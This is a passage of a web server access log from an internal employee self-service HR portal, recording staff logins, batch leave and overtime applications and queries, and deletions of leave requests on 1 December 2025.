/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A120307+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3104 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:05:00 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A120307+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3104 192.168.11.71 - - [01/Dec/2025:20:05:00 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 192.168.11.71 - - [01/Dec/2025:20:05:00 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A120307+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:08:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:08:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 192.168.11.71 - - [01/Dec/2025:20:08:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 15542 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:08:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 15542 192.168.11.71 - - [01/Dec/2025:20:08:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:08:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.71 - - [01/Dec/2025:20:08:55 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5351442437689646 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:08:55 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5351442437689646 HTTP/1.1" 200 8456 192.168.11.71 - - [01/Dec/2025:20:08:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5351442437689646 HTTP/1.1" 200 10639 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5351442437689646" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:08:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5351442437689646 HTTP/1.1" 200 10639 192.168.11.71 - - [01/Dec/2025:20:09:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4244 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:09:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4244 192.168.11.71 - - [01/Dec/2025:20:09:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:09:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.71 - - [01/Dec/2025:20:09:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23210407431417224 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:09:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23210407431417224 HTTP/1.1" 200 8456 192.168.11.71 - - [01/Dec/2025:20:09:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23210407431417224 HTTP/1.1" 200 10639 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23210407431417224" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:09:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23210407431417224 HTTP/1.1" 200 10639 192.168.11.71 - - [01/Dec/2025:20:09:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4244 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:09:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4244 192.168.11.71 - - [01/Dec/2025:20:09:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:09:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.71 - - [01/Dec/2025:20:10:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7198887959790758 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:10:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7198887959790758 HTTP/1.1" 200 8456 192.168.11.71 - - [01/Dec/2025:20:10:08 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7198887959790758 HTTP/1.1" 200 10639 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7198887959790758" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:10:08 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7198887959790758 HTTP/1.1" 200 10639 192.168.11.71 - - [01/Dec/2025:20:10:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:10:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 192.168.11.71 - - [01/Dec/2025:20:10:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:10:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 192.168.11.71 - - [01/Dec/2025:20:10:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10869 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:10:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10869 192.168.11.71 - - [01/Dec/2025:20:10:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&action=delete&leave_flowseqno=120308 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:10:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&action=delete&leave_flowseqno=120308 HTTP/1.1" 302 - 192.168.11.71 - - [01/Dec/2025:20:10:58 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A120308+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3104 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:10:58 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A120308+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3104 192.168.11.71 - - [01/Dec/2025:20:11:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:11:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.52 - - [01/Dec/2025:20:13:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:20:13:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.52 - - [01/Dec/2025:20:13:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:20:13:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.52 - - [01/Dec/2025:20:13:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:20:13:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.52 - - [01/Dec/2025:20:13:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:20:13:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.52 - - [01/Dec/2025:20:13:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:20:13:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.52 - - [01/Dec/2025:20:14:01 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8700774258501007 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:20:14:01 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8700774258501007 HTTP/1.1" 200 8588 192.168.11.52 - - [01/Dec/2025:20:14:02 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8700774258501007 HTTP/1.1" 200 14546 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8700774258501007" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:20:14:02 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8700774258501007 HTTP/1.1" 200 14546 192.168.11.52 - - [01/Dec/2025:20:14:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:20:14:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 192.168.11.52 - - [01/Dec/2025:20:14:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:20:14:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 192.168.11.52 - - [01/Dec/2025:20:14:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165998 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:20:14:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165998 192.168.11.71 - - [01/Dec/2025:20:22:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:22:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 192.168.11.71 - - [01/Dec/2025:20:22:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 9536 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:22:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 9536 192.168.11.76 - - [01/Dec/2025:20:22:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:22:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.71 - - [01/Dec/2025:20:22:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 15542 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:22:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 15542 192.168.11.76 - - [01/Dec/2025:20:22:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:22:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.71 - - [01/Dec/2025:20:22:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:22:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.76 - - [01/Dec/2025:20:22:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:22:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:22:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:22:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.76 - - [01/Dec/2025:20:22:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:22:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.76 - - [01/Dec/2025:20:22:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:22:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.71 - - [01/Dec/2025:20:22:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.04888404953710812 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - 